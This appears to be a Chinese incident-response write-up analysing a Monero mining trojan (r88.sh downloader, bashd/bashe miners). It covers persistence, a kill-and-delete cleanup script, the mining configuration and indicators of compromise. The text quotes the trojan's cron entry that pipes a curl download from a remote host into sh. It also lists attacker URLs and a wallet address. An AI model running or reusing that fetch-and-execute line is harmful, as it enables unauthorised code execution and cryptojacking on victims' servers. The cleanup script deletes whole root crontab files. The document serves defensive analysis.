近期接到客戶反映,其機房有一臺redhat服務(wù)器很卡,導(dǎo)致很多服務(wù)響應(yīng)速度很慢的情況。通過遠(yuǎn)程到客戶機器,發(fā)現(xiàn)一個進(jìn)程占據(jù)700%多CPU的使用率。通過分析,定性為是一起針對“門羅幣”的挖礦木馬入侵事件。本文記錄處理該事件的關(guān)鍵過程以及對該挖礦木馬核心代碼進(jìn)行的分析,方便做事件響應(yīng)的同行們碰到同家族類型木馬后可以快速查殺,定性威脅事件。
1.木馬行為與查殺過程
主要行為
木馬以r88.sh作為downloader首先控制服務(wù)器,通過判斷當(dāng)前賬戶的權(quán)限是否為root來進(jìn)行下一步的操作,若為root則在目錄/var/spool/cron/root和/var/spool/cron/crontabs/root下寫計劃任務(wù)“*/5 * * * * curl -sL https://x.co/6nPMR | sh”,其中這個短鏈接還原后為https://xmr.enjoytopic.tk/12/r88.sh。若為非root賬戶,則不寫計劃任務(wù)。接著均會執(zhí)行下載運行rootv2.sh或lowerv2.sh(基于當(dāng)前賬戶是否為root來選擇下載腳本)等一系列的操作。
木馬的挖礦組件bashd和bashe在系統(tǒng)中執(zhí)行后,毫不掩飾地就開始挖礦,CPU直接就占據(jù)好幾百,簡直粗暴。是不是應(yīng)該考慮下根據(jù)機器的當(dāng)前運行狀態(tài)來“人性化挖礦”呢?
簡單的進(jìn)程保護(hù)行為
為了防被殺后還能繼續(xù)挖礦,其通過寫入定時任務(wù)的方式來實現(xiàn)簡單的進(jìn)程保護(hù),通過一定時間間隔使用curl與wget遠(yuǎn)程下載shell腳本程序執(zhí)行,該腳本的功能會執(zhí)行本地路徑下已存在的挖礦程序,若不存在則會重新下載挖礦程序執(zhí)行。
其中該木馬在多個路徑都寫入了定時任務(wù)來實現(xiàn)維持訪問,包括:/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d。前兩個位置直接就在r88.sh這個文件中暴露了出來:
要清除該木馬需要清除三個位置所有的定時任務(wù),要不然該木馬還會死灰復(fù)燃,重新被啟動挖礦。
所幸該木馬并沒有感染傳播的蠕蟲屬性,猜測是攻擊者直接通過一般漏洞來進(jìn)行的無差別攻擊植入的挖礦downloader。經(jīng)過對服務(wù)器進(jìn)行滲透測試,確實發(fā)現(xiàn)了Apache ActiveMQ Fileserver遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2016-3088)與ActiveMQ 反序列化漏洞(CVE-2015-5254)。所以企業(yè)在上線服務(wù)之前最好還是先讓安全從業(yè)人員先進(jìn)行安全評估加固之后會更加安全一些。
木馬查殺
1) 嘗試殺掉bashd與bashe進(jìn)程以及root.sh/rootv2.sh/lower.sh/lowerv2.sh與r88.sh這些shell進(jìn)程
2) 清除掉/tmp目錄下木馬釋放的文件:/tmp/bashd、/tmp/bashe、/tmp/root.sh、/tmp/rootv2.sh 、/tmp/r88.sh、/tmp/pools.txt、/tmp/config.json等
3) 清除3個位置的定時任務(wù):/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d
對應(yīng)的自動查殺腳本如下
#!/bin/bash
for ((i=1;i>0;i++))
do
ps -ef | grep “/tmp/bashd -p bashd” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “/tmp/bashe -p bashd” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “bash /tmp/root.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “bash /tmp/r88.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “bash /tmp/rootv2.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “bash /tmp/lower.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “bash /tmp/lowerv2.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill
rm /tmp/bashd /tmp/bashe /tmp/config.json /tmp/root.sh /tmp/rootv2.sh /tmp/r88.sh /tmp/pools.txt -r
rm /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root
done
2.木馬核心代碼分析
木馬整體編寫邏輯
該木馬使用Linux系統(tǒng)的shell腳本編寫Downloader,使用curl與wget命令發(fā)起網(wǎng)絡(luò)請求下載木馬的其他組件,雖然代碼可被輕易分析,但是編寫成本和門檻降低,這也是當(dāng)前惡意代碼使用腳本語言編寫的一個趨勢。
該木馬一共涉及多個腳本與可執(zhí)行文件:
配置文件
bashe的config.json配置文件:
config.json這個配置文件中顯示其礦池地址為pool.supportxmr.com:80,
用戶為:
46TCcaaDn4LXkWZ1EGKBkzcWsTm32Mmy8a2VWqL8pGhRPf65GmUdkZWbrLVYNhFaucWXjU5aJqMraL
MEoXq53GHYJPv3LP6
bashd的pools.txt配置文件:
該配置文件中顯示器礦池地址為pool.supportxmr.com:80,錢包地址為:
46TCcaaDn4LXkWZ1EGKBkzcWsTm32Mmy8a2VWqL8pGhRPf65GmUdkZWbrLVYNhFaucWXjU5aJqMraL
MEoXq53GHYJPv3LP6,礦池密碼為bashe。
r88.sh代碼分析
r88.sh首先判斷當(dāng)前用戶是否為root賬戶,若是則下載并執(zhí)行root.sh,若下載執(zhí)行失敗則會下載執(zhí)行rootv2.sh,兩者代碼一樣;若非root賬戶,那么則下載并執(zhí)行l(wèi)ower.sh,若下載失敗則下載執(zhí)行l(wèi)owerv2.sh,root.sh與rootv2.sh兩者代碼一致。下圖是r88.sh的完整代碼截圖。
lowerv2.sh代碼分析
lowerv2.sh是在非root權(quán)限下才會被執(zhí)行的downloader腳本,代碼中有兩個函數(shù):kills和downloadyam,隔600s循環(huán)執(zhí)行。
Kills函數(shù)用于刪除其他同行的挖礦木馬的文件并kill進(jìn)程,真是一山不能容二馬的節(jié)奏啊。
其中downloadyam函數(shù),用于下載挖礦程序bashd和bashe以及對應(yīng)的配置文件并執(zhí)行挖礦程序。
lower.sh代碼分析
若當(dāng)前用戶是非root權(quán)限,r88.sh會作為下載器下載該腳本,若是其下載執(zhí)行失敗,那么就會選擇下載lowerv2.sh。兩個腳本完全一樣,只是為了在下載失敗時作為替代的保險操作。
rootv2.sh代碼分析
rootv2.sh的代碼與lowerv2.sh的代碼完全一樣,只是rootv2.sh的代碼多了兩行注釋:
猜測是作者本來想在rootv2.sh中加入寫crontab的代碼的,可是最后沒有加上,故rootv2.sh與lowerv2.sh代碼當(dāng)前是完全一樣的。
root.sh代碼分析
當(dāng)前用戶若是root權(quán)限,root.sh是r88.sh下載首選,在下載root.sh失敗的情況下才會選擇下載rootv2.sh,兩個文件的代碼是完全一致的。r88.sh的代碼片段如下:
Bashe代碼分析
該ELF可執(zhí)行文件靜態(tài)編譯造成程序達(dá)到20m,通過對其代碼分析發(fā)現(xiàn)跟很多挖礦木馬一樣使用到了開源的挖礦代碼,該程序使用的開源挖礦項目在:https://github.com/fireice-uk/xmr-stak-cpu,是一個通用的挖礦項目,支持CPU,AMD與NVIDIA GPU,用于挖“門羅幣”。下圖可見該可執(zhí)行文件中多處使用引用的代碼:
通過對比github上的代碼:
可確定其是基于開源代碼xmr-stak 2.4.2編寫的一個針對門羅幣的挖礦木馬。
Bashd代碼分析
該木馬用于針對“門羅幣”挖礦的組件,x64架構(gòu)的ELF格式文件。通過代碼相似性分析可確定該程序是基于xmrig 2.5.2開源項目開發(fā)的一個基于CPU的針對Monero(XMR)的挖礦木馬。
該項目在:https://github.com/xmrig/xmrig
3.總結(jié)
該挖礦木馬并沒有使用很多高級的防查殺技術(shù),也沒有廣泛傳播的蠕蟲屬性,僅僅使用定時任務(wù)來實現(xiàn)簡單的進(jìn)程保護(hù),通過無差別攻擊進(jìn)行“抓雞”植入木馬,而且直接使用shell腳本編寫的下載器加上開源的挖礦代碼就開始“抓肉雞”挖礦,由此可見現(xiàn)在對于挖礦木馬的門檻在降低,但是這樣簡單的操作就足以嚴(yán)重危害網(wǎng)絡(luò)的可用性與安全性。
關(guān)于挖礦木馬如何防范與其他惡意代碼以及入侵事件如何防范一樣,實際上均是老生常談的話題,最重要的一點還是企業(yè)需要正視網(wǎng)絡(luò)安全的重要性,及時對系統(tǒng)以及應(yīng)用打補丁,定期組織安全人員進(jìn)行服務(wù)器的維護(hù),提高企業(yè)員工的安全意識等等。
4.IoC
http://abcde.sw5y.com
http://abcde.sw5y.com/l2/lowerv2.sh
http://abcde.sw5y.com/l2/rootv2.sh
http://abcde.sw5y.com/l2/pools.txt
http://abcde.sw5y.com/l2/bashd
http://abcde.sw5y.com/l2/bashe
https://xmr.enjoytopic.tk/12/r88.sh
https://xmr.enjoytopic.tk
8965edd7205ffc4a7711313715f1621a7817621a0db03245022fc6e8b2ae8642
e3b0296ddec24cc0d7ef27b4896a0616f20394cb0293b22c1ac744c530451b47
27fbcee0f3f007e846ec4367c6ef55c8d2d790f22b12d551b0df93c369c5cb76
f90bada1b2562c3b7727fee57bd7edf453883219a2ee45923abbd539708236b0
0122604e4d65b181ad9fbd782743df6dafe6371bcf24638eb2d4aa962a272015
3d75b68b05aa00cb8ace5c27b35341a5c33c14c547313f04afa8bc5193366755